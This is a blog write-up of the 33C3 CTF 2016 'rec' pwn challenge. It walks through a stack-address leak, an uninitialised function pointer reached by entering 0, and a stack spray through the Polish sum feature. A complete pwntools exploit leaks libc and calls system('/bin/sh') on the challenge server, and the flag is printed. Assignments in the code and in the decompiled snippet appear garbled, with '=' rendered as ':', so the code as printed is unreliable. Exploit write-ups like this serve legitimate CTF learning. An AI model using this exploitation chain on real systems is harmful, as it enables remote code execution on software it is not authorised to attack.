Author • Eno Leriand

33C3 CTF 2016 - rec

  • 33C3 CTF
  • rec

Category: pwn Points: 200

32 bit ELF, with all the protection enabled.

program menu:

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 
  • Take note: input a note
  • Read note: output the note
  • Polish: do the sum operation or the elementary arithmetic (prefix expression)
  • Infix: do the elementary arithmetic (infix expression)
  • Reverse Polish: do the elementary arithmetic (postfix expression)
  • Sign: input a number and see if it is a positive/negative number

First we found that the Read note function doesn't work well:

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV     <-- WTF?

This is because the program use a stack address as the note's buffer. After we take a note and leave the function, the buffer will be filled with some (useful) addresses (due to the function epilogue). And because of this, we're able to leak the stack address & text's base address.

Now it's time to try controlling the EIP. There's a program logic vulnerability in the sign function:

if ( num <= 0 )
{
if ( num < 0 )
v1 : (void (*)(void))puts_negative;
}
else
{
v1 : (void (*)(void))puts_positive;
}
v1();

It handles both positive & negative numbers. But what about 0 ?

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1]    40091 segmentation fault (core dumped)  ./rec

The reason why the program crash is because the program did not assigned a value to v1 (since it did not handle 0), so when it ran to line v1(), it will set the EIP to 0x0 and crash the program. Let's check the assembly code:

0x56555d3b:  mov    eax,DWORD PTR [ebp-0x20]   <-- &v1 : ebp-0x20
0x56555d3e:  call   eax

It shows that if we can control the value of [ebp-0x20], we'll be able to control the EIP and hijack the program control flow.

I found that the stack frame of the sign function is "higher" (or "lesser") than the other functions. If we can't "reach that high" in other functions, we won't be able to control the function pointer.

After done some fuzzing, I finally found that in the Polish function, if we do the sum operation and keep entering number, the program will keep pushing number to the stack, making us able to "reach the height" and control the function pointer (and the parameters !) in the sign function.

So here's how we gonna exploit the service:

  1. Take a note & Read the note, leak the text's base address
  2. Use Polish's sum operation to control the function pointer & the function parameter. We first set the function pointer to puts and the parameter to __libc_start_main@got (there's no .got.plt due to the FULL RELRO protection)
  3. Goto sign function and input 0, it will call puts(__libc_start_main@got) and gave us the libc's base address
  4. Repeat step 2, this time we set the function pointer to system and the parameter to "pointer to /bin/sh"
  5. Goto sign function and input 0, call system("/bin/sh") and get the shell

Here's the exploit. The libc's information are provided by libc-database

#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
import numpy
HOST : "78.46.224.74"
PORT : 4127
ELF_PATH : "./rec"
LIBC_PATH : ""
# setting
context.arch : 'i386'
context.os : 'linux'
context.endian : 'little'
context.word_size : 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level : 'INFO'
elf : ELF(ELF_PATH)
def take_note(note):
r.sendlineafter("> ", "0")
r.sendlineafter("note: ", note)
def read_note():
r.sendlineafter("> ", "1")
def polish_sum(nums):
r.sendlineafter("> ", "2")
r.sendlineafter("Operator:", "S")
for num in nums:
print "adding:", num
r.sendlineafter("Operand:", str(num))
r.sendlineafter("Operand:", ".")
def sign(num):
r.sendlineafter("> ", "5")
r.sendline(str(num))
if __name__ == "__main__":
r : remote(HOST, PORT)
#r : process(ELF_PATH)
take_note("123")
read_note()
r.recvuntil("note: ")
fptr_addr : u32(r.recv(4)) - 0x350 # where the function pointer be loaded
text_base : u32(r.recv(4)) - 0x6fb
puts : text_base + 0x520
lsm_got : text_base + 0x2fe0
puts_got : text_base + 0x2fd8
log.success("fptr_addr: "+hex(fptr_addr))
log.success("text_base: "+hex(text_base))
nums : [i for i in xrange(0x63)] + [puts, lsm_got]
polish_sum(nums)
sign(0) # this will call puts(lsm_got)
lsm_addr : u32(r.recv(4))
#########################################
#$ ./dump libc6-i386_2.24-3ubuntu2_amd64
#offset___libc_start_main : 0x00018180
#offset_system : 0x0003a8b0
#offset_str_bin_sh : 0x15cbcf
#########################################
system_addr : lsm_addr + 0x22730
bin_sh : lsm_addr + 0x144a4f
log.success("lsm: "+hex(lsm_addr))
log.success("system: "+hex(system_addr))
log.success("bin_sh: "+hex(bin_sh))
nums : [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
polish_sum(nums)
sign(0) # this time will call system("/bin/sh")
r.interactive()

The flag is in /challenge/flag.txt

flag: 33C3_L0rd_Nikon_would_l3t_u_1n

How am I doing?

Hey! Lemme know if you found this helpful by leaving a reaction.

  • x0
  • x0
  • x0
  • x0
  • x0
  • x0
  • x0
Loading

Built with Gatsby ^5.0.0